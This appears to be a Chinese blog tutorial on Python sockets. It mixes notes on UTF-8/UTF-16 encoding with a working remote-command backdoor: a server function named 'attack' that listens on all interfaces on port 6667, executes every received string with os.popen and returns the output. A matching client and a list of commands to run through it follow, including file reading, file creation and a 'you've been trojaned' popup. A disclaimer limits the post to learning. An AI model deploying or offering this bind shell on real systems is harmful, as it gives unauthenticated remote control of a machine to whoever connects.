Python Socket网络通信基础与命令执行机制解析

Leo
Leo
发布时间:2026-10-15 | 3人浏览过
原创

本文介绍基于Python Socket的TCP/IP网络通信基础,涵盖UTF-8与UTF-16编码的空间效率对比及适用场景。通过服务端与客户端代码示例,演示如何建立连接并执行远程系统命令,包括文件查看、目录管理及弹窗调用等具体操作,旨在提供技术层面的原理说明。

郑重声明:本文内容仅用于技术交流与学习,严禁任何非法用途。

基础概念

  • Socket通信模块是对TCP/IP协议簇的程序化封装,该模块在Windows和Linux操作系统中均被底层支持。
  • Unicode字符集存在多种存储格式,主要包括UTF-8、UTF-16和UTF-32,它们通过不同的二进制编码方式来表示字符。
  • 当文本以英文为主或英文与其他语言混合时,采用UTF-8编码能显著节省存储空间;反之,若文本以中文为主或中文占比极高,UTF-16编码则更具优势,能有效减少空间占用。

编码策略选择:

  • 英文内容较多时,推荐使用UTF-8编码,这是一种应用最广泛的变长字符编码方案。
  • 中文内容较多时,推荐使用UTF-16编码。
  • 在Windows系统中,中文环境通常采用GBK编码格式。

使用命令 netstat -ant 可以仅显示传输层的TCP和UDP连接状态,该命令常用于检查Socket服务是否正常运行。

服务端(Server)程序实现

import socket, os
def attack():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 6667)) #   使用缺省地址,所有设备均可访问该服务器的6667端口
        s.listen()     #    对6667端口进行监听
        chanel, client = s.accept() #   进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信,  client: 客户端的IP和端口
        while True:
            receive = chanel.recv(1024).decode()
            reply = os.popen(receive).read()
            chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
    except:
        s.close()
        attack()
if __name__ == '__main__':
    attack()

客户端(Client)程序实现

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))	#192.168.137.1是socket服务器的地址
while True:
    sendstr = input("请输入消息:")
    s.send(sendstr.encode())
    receive = s.recv(1024).decode()
    print(f"服务器回复:{receive}")
    # s.close()

其他系统命令执行方法

注意:执行相关操作前需导入 os 模块—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval() # 该函数可将字符串作为Python代码进行执行

该程序的基本功能演示

1、读取文件内容

Windows系统

type 文件绝对路径

Linux系统

cat 文件路径

2、查看文件目录

Windows系统

dir # 查看当前文件路径目录 dir 文件路径 # 查看指定文件路径目录

Linux系统

ls # 查看当前文件路径目录 ll # 查看当前文件路径目录详细信息 ls 文件路径 # 查看指定文件路径目录 ll 文件路径 # 查看指定文件路径目录详细信息

3、创建文件或目录

Windows系统

echo test >> demo.txt # 创建一个名为demo.txt的文件,文件内容包含 test

Linux系统

mkdir 路径 # 创建目录 echo test >> demo.txt # 创建一个名为demo.txt的文件,文件内容包含 test

4、调用Windows应用程序

调用计算器程序

calc.exe

调用其他应用程序

直接输入应用程序的绝对路径

5、调用Windows弹窗

echo msgbox("你中木马了!!") > E:\hi.vbs E:\hi.vbs

关于Python Socket实现远程交互的详细说明至此结束,更多相关技术内容请参阅本站往期文章或继续浏览后续章节,感谢支持。

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表